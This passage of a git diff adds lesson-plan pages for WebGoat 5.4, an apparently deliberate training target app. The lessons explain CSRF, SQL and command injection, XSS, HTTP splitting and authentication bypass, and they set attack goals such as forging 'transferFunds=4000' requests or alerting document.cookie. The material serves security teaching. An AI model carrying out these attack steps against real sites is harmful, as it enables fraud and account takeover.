+Mittels Cross Site Scripting (XSS) kann der Cookie auch abgefangen werden.
+Diese Übung soll Sie auf das Thema der Authentisierungs Cookies aufmerksam machen und gibt Ihnen
+die Möglichkeit die Authentisierungsmethode dieser Lektion zu überwinden.
+
+
+
+
Grundsätzliche(s) Ziel(e):
+
+ Es ist Ihre Aufgabe die Authentisierung zu umgehen. Melden Sie sich mit dem Benutzernamen "webgoat" und dem Passwort "webgoat" an
+ und schauen Sie was passiert. Sie können auch versuchen Sich mit aspect/aspect anzumelden. Wenn Sie den Authentisierungs Cookie verstehen,
+ versuchen Sie Ihre Identität zu "alice" zu wechseln.
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/AccessControlMatrix.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/AccessControlMatrix.html
new file mode 100644
index 000000000..576bf3b72
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/AccessControlMatrix.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: Using an Access Control Matrix
+
+
Concept / Topic To Teach:
+
+In a role-based access control scheme, a role represents a set of access permissions and privileges. A user can be assigned one or more roles. A role-based access control scheme normally consists of two parts: role permission management and role assignment. A broken role-based access control scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or somehow allow privilege escalation to an unauthorized role.
+
General Goal(s):
+Each user is a member of a role that is allowed to access only certain resources. Your goal is to explore the access control rules that govern this site. Only the [Admin] group should have access to the 'Account Manager' resource.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/BackDoors.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/BackDoors.html
new file mode 100644
index 000000000..c4ac8a08a
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/BackDoors.html
@@ -0,0 +1,23 @@
+
+
Lesson Plan Title: How to Create Database Back Door Attacks.
+
+
+
Concept / Topic To Teach:
+How to Create Database Back Door Attacks.
+
+
+
+How the attacks works:
+
+Databases are used usually as a backend for web applications. Also it is used as a media of storage. It can also
+be used as a place to store a malicious activity such as a trigger. A trigger is called by the database management
+system upon the execution of another database operation like insert, select, update or delete. An attacker for example
+can create a trigger that would set his email address instead of every new user's email address.
+
+
General Goal(s):
+
+* Your goal should be to learn how you can exploit a vulnerable query to create a trigger.
+* You will not be able to actually create one in this lesson because the underlying database engine used with WebGoat doesn't support triggers.
+* Your login ID is 101.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/BasicAuthentication.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/BasicAuthentication.html
new file mode 100644
index 000000000..73a3c736d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/BasicAuthentication.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: Basic Authentication
+
+
Concept / Topic To Teach:
+
+Basic Authentication is used to protect server side resources. The web server will send a 401 authentication request with the response for the requested resource. The client side browser will then prompt the user for a user name and password using a browser supplied dialog box. The browser will base64 encode the user name and password and send those credentials back to the web server. The web server will then validate the credentials and return the requested resource if the credentials are correct. These credentials are automatically resent for each page protected with this mechanism without requiring the user to enter their credentials again.
+
General Goal(s):
+For this lesson, your goal is to understand Basic Authentication and answer the questions below.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/BlindSqlInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/BlindSqlInjection.html
new file mode 100644
index 000000000..0ff76e32e
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/BlindSqlInjection.html
@@ -0,0 +1,15 @@
+
+
Lesson Plan Title: How to Perform Blind SQL Injection
+
+
+
Concept / Topic To Teach:
+
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of SQL injection.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.
+
+
+
General Goal(s):
+The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
The goal is to find the value of the first_name in table user_data for userid 15613. Put that name in the form to pass the lesson.
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/BufferOverflow.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/BufferOverflow.html
new file mode 100644
index 000000000..b25b4f944
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/BufferOverflow.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Exploit Buffer Overflows
+
+
+
Concept / Topic To Teach:
+How to Exploit Buffer Overflows.
+
General Goal(s):
+This lesson needs a creator!
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/CSRF.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/CSRF.html
new file mode 100644
index 000000000..dc17ddef9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/CSRF.html
@@ -0,0 +1,26 @@
+
+
Lesson Plan Title: How to Perform Cross Site Request Forgery.
+
+
+
Concept / Topic To Teach:
+ This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks.
+
+
+
+How the attacks works:
+
+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page that contains img links like the one below:
+
+
+
+When the victim's browser attempts to render this page, it will issue a request to www.mybank.com to the transferFunds.do page with the specified parameters. The browser will think the link is to get an image, even though it actually is a funds transfer function.
+
+The request will include any cookies associated with the site. Therefore, if the user has authenticated to the site, and has either a permanent cookie or even a current session cookie, the site will have no way to distinguish this from a legitimate user request.
+
+In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, or any other function provided by the vulnerable website
+
+
General Goal(s):
+
+Your goal is to send an email to a newsgroup that contains an image whose URL is pointing to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/ChallengeScreen.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/ChallengeScreen.html
new file mode 100644
index 000000000..b3d9b3321
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/ChallengeScreen.html
@@ -0,0 +1,7 @@
+
+
Lesson Plan Title: Putting it all together
+
+
Concept / Topic To Teach:
+This lesson creates a challenge that will help the student apply all that they have learned.
+General Goal(s):
+Display the secret message.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/ClientSideFiltering.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/ClientSideFiltering.html
new file mode 100644
index 000000000..608c360e5
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/ClientSideFiltering.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: Client Side Filtering
+
+
Concept / Topic To Teach:
+
+It is always a good practice to send to the client only information which they are supposed
+to have access to. In this lesson, too much information is being sent to the client, creating
+a serious access control problem.
+
+
General Goal(s):
+For this exercise, your mission is exploit the extraneous information being returned by the
+server to discover information to which you should not have access.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/ClientSideValidation.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/ClientSideValidation.html
new file mode 100644
index 000000000..e712b6fb7
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/ClientSideValidation.html
@@ -0,0 +1,15 @@
+
+
Lesson Plan Title: Insecure Client Storage
+
+
Concept / Topic To Teach:
+
+It is always a good practice to validate all input on the server side. Leaving the
+mechanism for validation on the client side leaves it vulnerable to reverse
+engineering. Remember, anything on the client side should not be
+considered a secret.
+
+
General Goal(s):
+For this exercise, your mission is to discover a coupon code to receive an unintended
+discount. Then, exploit the use of client side validation to submit an order with a
+cost of zero.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/CommandInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/CommandInjection.html
new file mode 100644
index 000000000..1db97ab80
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/CommandInjection.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: How to Perform Command Injection
+
+
Concept / Topic To Teach:
+
+Command injection attacks represent a serious threat to any parameter-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of parameter injection.
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.
+Try to inject a command to the operating system.
+
+
General Goal(s):
+The user should be able to execute any command on the hosting OS.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/ConcurrencyCart.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/ConcurrencyCart.html
new file mode 100644
index 000000000..4a2f44b75
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/ConcurrencyCart.html
@@ -0,0 +1,22 @@
+
+
+
+
+
+ Lesson Plan
+
+
+
+
+
Lesson Plan Title: Shopping Cart Concurrency Flaw
+
+
+
Concept / Topic To Teach:
+
+ Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe. Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.
+
+
General Goal(s):
+For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price.
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/CrossSiteScripting.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/CrossSiteScripting.html
new file mode 100644
index 000000000..1d2848f3c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/CrossSiteScripting.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: How to Perform Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+
+It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
+XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
+
+
General Goal(s):
+For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/CsrfPromptByPass.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/CsrfPromptByPass.html
new file mode 100644
index 000000000..a5b524be2
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/CsrfPromptByPass.html
@@ -0,0 +1,32 @@
+
+
Lesson Plan Title:CSRF User Prompt By-Pass
+
+
+
Concept / Topic To Teach:
+This lesson teaches how to perform CSRF attacks that by-pass user confirmation prompts.
+
+
+
+How the attacks works:
+
+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page
+that contains a 'forged request' to execute commands with the victim's credentials. Prompting
+a user to confirm or cancel the command might sound like a solution, but can be by-passed if
+the prompt is scriptable. This lesson shows how to by-pass such a prompt by issuing another
+forged request. This can also apply to a series of prompts such as a wizard or issuing multiple
+unrelated forged requests.
+
+
+
+
General Goal(s):
+
+Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
+malicious requests: the first to transfer funds, and the second a request to confirm the prompt
+that the first request triggered. The URL should point to the CSRF lesson with an extra
+parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
+left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
+receives this email and happens to be authenticated at that time will have his funds transferred.
+When you think the attack is successful, refresh the page and you will find the green check on
+the left hand side menu.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/CsrfTokenByPass.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/CsrfTokenByPass.html
new file mode 100644
index 000000000..b0cbe426d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/CsrfTokenByPass.html
@@ -0,0 +1,37 @@
+
+
Lesson Plan Title:CSRF Token Prompt By-Pass
+
+
+
Concept / Topic To Teach:
+This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
+
+
+
+How the attacks works:
+
+
+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
+loading a page that contains a 'forged request' to execute commands with the
+victim's credentials.
+
+
Token-based request authentication mitigates these attacks. This technique
+inserts tokens into pages that issue requests. These tokens are required to
+complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
+this technique to help prevent CSRF attacks.
+
+
However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
+Because of the same-origin browser policy, pages from the same domain can read content from
+other pages from the same domain.
+
+
+
General Goal(s):
+
+Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
+request to transfer funds. To successfully complete you need to obtain a valid request token.
+The page that presents the transfer funds form contains a valid request token. The URL for the
+transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load
+this page, read the token and append the token in a forged request to transferFunds. When you think
+the attack is successful, refresh the page and you will find the green check on the left hand side menu.
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/DBCrossSiteScripting.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/DBCrossSiteScripting.html
new file mode 100644
index 000000000..a54fd9ab9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/DBCrossSiteScripting.html
@@ -0,0 +1,24 @@
+
+
Lesson Plan Title: How to Perform Cross Site Scripting
+(XSS)
+
+
Concept / Topic To Teach:
+
+It is always a good practice to scrub all inputs, especially those
+inputs that will later be used as parameters to OS commands, scripts,
+and database queries. It is particularly important for content that will
+be permanently stored somewhere. Users should not be able to create
+message content that could cause another user to load an undesirable
+page or undesirable content when the user's message is retrieved.
+
+XSS can also occur when unvalidated user input is used in an HTTP
+response. In a reflected XSS attack, an attacker can craft a URL with
+the attack script and post it to another website, email it, or otherwise
+get a victim to click on it.
+
+
General Goal(s):
+For this exercise, you will perform a stored XSS attack.
+You will also implement code changes in the database to defeat
+these attacks.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/DBSQLInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/DBSQLInjection.html
new file mode 100644
index 000000000..879a1b92e
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/DBSQLInjection.html
@@ -0,0 +1,16 @@
+
+
Lesson Plan Title: How to Perform SQL Injection
+
+
Concept / Topic To Teach:
+
+It is always a good practice to scrub all inputs, especially those
+inputs that will later be used as parameters to OS commands, scripts,
+and database queries. Users should not be able to alter the intent of
+commands that are executed on the server, in many cases as a privileged user.
+
+
General Goal(s):
+For this exercise, you will perform a SQL Injection attack.
+You will also implement code changes in the database to defeat
+these attacks.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/DOMInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/DOMInjection.html
new file mode 100644
index 000000000..19c19ee0b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/DOMInjection.html
@@ -0,0 +1,23 @@
+
+
Lesson Plan Title: How to Perform DOM Injection Attack.
+
+
+
Concept / Topic To Teach:
+How to perform DOM injection attacks.
+
+
+
+How the attacks works:
+
+Some applications specially the ones that uses AJAX manipulates and updates the DOM
+directly using javascript, DHTML and eval() method.
+An attacker may take advantage of that by intercepting the reply and try to inject some
+javascript commands to exploit his attacks.
+
+
General Goal(s):
+
+* Your victim is a system that takes an activation key to allow you to use it.
+* Your goal should be to try to get to enable the activate button.
+* Take some time to see the HTML source in order to understand how the key validation process works.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/DOMXSS.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/DOMXSS.html
new file mode 100644
index 000000000..fb7008727
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/DOMXSS.html
@@ -0,0 +1,15 @@
+
+
Lesson Plan Title: DOM Based Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+
+The Document Object Model (DOM) presents an interesting problem from
+a security standpoint. It allows the content of a web page to be dynamically
+modified, but that can be abused by attackers during a malicious code injection. XSS,
+a type of malicious code injection, can occur when unvalidated user input is used directly
+to modify the content of a page on the client side.
+
+
General Goal(s):
+For this exercise, your mission is to use this vulnerability to inject
+malicious code into the DOM. Then in the last stage, you will correct
+the flaws in the code to address the vulnerability.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/DOS_Login.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/DOS_Login.html
new file mode 100644
index 000000000..941a89b49
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/DOS_Login.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: Denial of Service from Multiple Logins
+
+
Concept / Topic To Teach:
+
+Denial of service attacks are a major issue in web applications. If the end user cannot conduct business or perform the service offered by the web application, then both time and money is wasted.
+
General Goal(s):
+This site allows a user to login multiple times. This site has a database connection pool that allows 2 connections. You must obtain a list of valid users and create a total of 3 logins.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/DangerousEval.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/DangerousEval.html
new file mode 100644
index 000000000..f6190530c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/DangerousEval.html
@@ -0,0 +1,14 @@
+
+
Lesson Plan Title: Dangerous Use of Eval
+
+
Concept / Topic To Teach:
+
+It is always a good practice to validate all input on the server side. XSS can occur
+when unvalidated user input is reflected directly into an HTTP response. In this lesson, unvalidated
+user-supplied data is used in conjunction with a Javascript eval() call. In a reflected
+XSS attack, an attacker can craft a URL with the attack script and store it on another
+website, email it, or otherwise trick a victim into clicking on it.
+
+
General Goal(s):
+For this exercise, your mission is to come up with some input which, when run through eval,
+will execute a malicious script. In order to pass this lesson, you must 'alert()' document.cookie.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/Encoding.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/Encoding.html
new file mode 100644
index 000000000..fcba2ddac
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/Encoding.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Peform Basic Encoding
+
+
Concept / Topic To Teach:
+
+Different encoding schemes can be used in web applications for different reasons.
+
+
General Goal(s):
+This lesson will familiarize the user with different encoding schemes.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/FailOpenAuthentication.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/FailOpenAuthentication.html
new file mode 100644
index 000000000..27a82e2cf
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/FailOpenAuthentication.html
@@ -0,0 +1,10 @@
+
+
Lesson Plan Title: How to Bypass Fail Open Authentication
+
+
+
Concept / Topic To Teach:
+
+ This lesson presents the basics for understanding the "fail open" condition regarding authentication. The security term, “fail open” describes a behavior of a verification mechanism. This is when an error (i.e. unexpected exception) occurs during a verification method causing that method to evaluate to true. This is especially dangerous during login.
+
+
General Goal(s):
+ The user should be able to bypass the authentication check.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/ForcedBrowsing.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/ForcedBrowsing.html
new file mode 100644
index 000000000..2bf4fa6a4
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/ForcedBrowsing.html
@@ -0,0 +1,21 @@
+
+
Lesson Plan Title: How to Perform Forced Browsing Attacks.
+
+
+
Concept / Topic To Teach:
+How to Exploit Forced Browsing.
+
+
+
+How the attacks works:
+
+Forced browsing is a technique used by attackers to gain access to resources that are not referenced, but are nevertheless accessible.
+
+One technique is to manipulate the URL in the browser by deleting sections from the end until an unprotected directory is found
+
+
General Goal(s):
+
+* Your goal should be to try to guess the URL for the "config" interface.
+* The "config" URL is only available to the maintenance personnel.
+* The application doesn't check for horizontal privileges.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/ForgotPassword.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/ForgotPassword.html
new file mode 100644
index 000000000..06b2feb2f
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/ForgotPassword.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Exploit the Forgot Password Page
+
+
Concept / Topic To Teach:
+
+Web applications frequently provide their users the ability to retrieve a forgotten password. Unfortunately, many web applications fail to implement the mechanism properly. The information required to verify the identity of the user is often overly simplistic.
+
General Goal(s):
+Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on this 'Forgot Password' page. Your username is 'webgoat' and your favorite color is 'red'. The goal is to retrieve the password of another user.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/HiddenFieldTampering.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/HiddenFieldTampering.html
new file mode 100644
index 000000000..dff0d945e
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/HiddenFieldTampering.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: How to Exploit Hidden Fields
+
+
Concept / Topic To Teach:
+
+Developers will use hidden fields for tracking, login, pricing, etc.. information on a loaded page. While this is a convenient and easy mechanism for the developer, they often don't validate the information that is received from the hidden field. This lesson will teach the attacker to find and modify hidden fields to obtain a product for a price other than the price specified
+
+
General Goal(s):
+The user should be able to exploit a hidden field to obtain a product at an incorrect price.
+
+Try to purchase the HDTV for less than the purchase price, if you have not done so already.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/HowToWork.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/HowToWork.html
new file mode 100644
index 000000000..94cb85851
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/HowToWork.html
@@ -0,0 +1,49 @@
+
+
How To Work With WebGoat
+
+Welcome to a short introduction to WebGoat.
+Here you will learn how to use WebGoat and additional tools for the lessons.
+
+
Environment Information
+
+WebGoat uses the Apache Tomcat server. It is configured to run on localhost although this can be
+easily changed. This
+configuration is for single user, additional users can be added in the tomcat-users.xml file.
+If you want to use WebGoat in a laboratory or in
+class you might need to change this setup. Please refer to the Tomcat Configuration
+in the Introduction section.
+
+
The WebGoat Interface
+
+
+1. These are Lesson Categories in WebGoat. Click on a Category to see all Lessons in it.
+2. This will show technical hints to solve the lesson.
+3. This will show the HTTP Request Parameters
+4. This will show the HTTP Request Cookies
+5. This will show goals and objectives of the lesson.
+6. This will show the underlying Java source code.
+7. This will show the complete solution of the selected lesson.
+8. If you want to restart a lesson you can use this link.
+
Solve The Lesson
+
+Always start with the lessons plan. Then try to solve the lesson and if necessary,
+use the hints. The last hint is the solution text if applicable. If you cannot solve the lesson using the hints, you may view the
+solution for complete details.
+
Read And Edit Parameters
+
+To read and edit Parameters you need a local proxy to intercept the HTTP request.
+Here we use WebScarab. More information on WebScarab can be found in the "Useful Tools" Chapter.
+After installing WebScarab and configuring your browser to use it as proxy on localhost we can start.
+
+We have to select "Intercept Request" in the tab "Intercept". If we send a HTTP request we get a new WebScarab window.
+
+Here we can read and edit the intercepted parameter. After "Accept changes" the request will be sent to the server.
+
+
Read And Edit Cookies
+
+Often it is not only necessary to change the value of the parameters but to change the value of cookies.
+We can use WebScarab to intercept the request and change cookies values just like parameter data as explained in the last topic.
+
+We get a new window on sending a HTTP request. On the screenshot you see where we can find cookies and how to edit the values of them.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/HtmlClues.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/HtmlClues.html
new file mode 100644
index 000000000..c0d81446c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/HtmlClues.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: How to Discover Clues in the HTML
+
+
+
Concept / Topic To Teach:
+
+ Developers are notorious for leaving statements like FIXME's, TODO's, Code Broken, Hack, etc... inside the source code. Review the source code for any comments denoting passwords, backdoors, or something doesn't work right.
+ Below is an example of a forms based authentication form. Look for clues to help you log in.
+
+
+
General Goal(s):
+The user should be able to bypass the authentication check.
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpBasics.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpBasics.html
new file mode 100644
index 000000000..011fed218
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpBasics.html
@@ -0,0 +1,27 @@
+
+
Lesson Plan Title: Http Basics
+
+
+
Concept / Topic To Teach:
+ This lesson presents the basics for understanding the transfer of data between the browser and the web application.
+
+
+How HTTP works:
+
+All HTTP transactions follow the same general format. Each client request and server response has three parts: the request or response line, a header section, and the entity body. The client initiates a transaction as follows:
+
+ The client contacts the server and sends a document request
+
+
+
GET /index.html?param=value HTTP/1.0
+ Next, the client sends optional header information to inform the server of its configuration and the document formats it will accept.
+
+
+After sending the request and headers, the client may send additional data. This data is mostly used by CGI programs using the POST method.
+
General Goal(s):
+
+Enter your name in the input field below and press "go" to submit. The server will accept the request, reverse the input, and display it back to the user, illustrating the basics of handling an HTTP request.
+
+The user should become familiar with the features of WebGoat by manipulating the above
+buttons to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source code. You may also try using WebScarab for the first time.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpOnly.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpOnly.html
new file mode 100644
index 000000000..aea12470c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpOnly.html
@@ -0,0 +1,26 @@
+
+
Lesson Plan Title: HttpOnly Test
+
+
Concept / Topic To Teach:
+
+To help mitigate the cross site scripting threat, Microsoft has
+introduced a new cookie attribute entitled 'HttpOnly.' If this flag is
+set, then the browser should not allow client-side script to access the
+cookie. Since the attribute is relatively new, several browsers neglect
+to handle the new attribute properly.
+
+The purpose of this lesson is to test whether your browser supports the
+HTTPOnly cookie flag. Note the value of the
+unique2u
+cookie. If your browser supports HTTPOnly, and you enable it for a
+cookie, client side code should NOT be able to read OR write to that
+cookie, but the browser can still send its value to the server. Some
+browsers only prevent client side read access, but don't prevent write
+access.
+
+
+With the HTTPOnly attribute turned on, type
+"javascript:alert(document.cookie)" in the browser address bar. Notice
+all cookies are displayed except the unique2u cookie.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpSplitting.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpSplitting.html
new file mode 100644
index 000000000..ac0906a93
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/HttpSplitting.html
@@ -0,0 +1,34 @@
+
+
Lesson Plan Title: How to Perform HTTP Splitting
+
+
+
Concept / Topic To Teach:
+ This lesson teaches how to perform HTTP Splitting attacks.
+
+
+
+How the attack works:
+
+
The attacker passes malicious code to the web server together with normal input.
+A victim application will not be checking for CR (carriage return, also given by %0d or \r)
+and LF (line feed, also given by %0a or \n) characters. These characters not only give attackers control
+of the remaining headers and body of the response the application intends to send,
+but they also allows them to create additional responses entirely under their control.
+
The effect of an HTTP Splitting attack is maximized when accompanied with a Cache Poisoning. The goal of
+Cache Poisoning attack is to poison the cache of the victim by fooling the cache into believing that the page
+hijacked using the HTTP splitting is an authentic version of the server's copy.
+
The attack works by using the HTTP Splitting attack plus adding the Last-Modified: header and setting it
+to a future date. This forces the browser to send an incorrect If-Modified-Since request header on future requests.
+Because of this, the server will always report that the (poisoned) page has not changed, and the victim's browser
+will continue to display the attacked version of the page.
+
A sample of a 304 response is:
+
HTTP/1.1 304 Not Modified
+Date: Fri, 30 Dec 2005 17:32:47 GMT
+
+
+
General Goal(s):
+
+
This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.
+
Enter a language for the system to search by. You will notice that the application is redirecting your request to another resource on the server. You should be able to use the CR (%0d) and LF (%0a) characters to exploit the attack. Your goal should be to force the server to send a 200 OK. If the screen changed as an effect to your attack, just go back to the homepage. After stage 2 is exploited successfully, you will find the green check in the left menu.
+
+Sensitive data should never sent in plaintext! Often applications
+switch to a secure connection after the authorization. An attacker
+could just sniff the login and use the gathered information to
+break into an account. A good webapplication always takes care of
+encrypting sensitive data.
+
General Goal(s):
+See how easy it is to sniff a password in plaintext.
+Understand the advantages of encrypting the login data!
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/JSONInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/JSONInjection.html
new file mode 100644
index 000000000..4c72bd04f
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/JSONInjection.html
@@ -0,0 +1,24 @@
+
+
Lesson Plan Title: How to Perform JSON Injection
+
+
+
Concept / Topic To Teach:
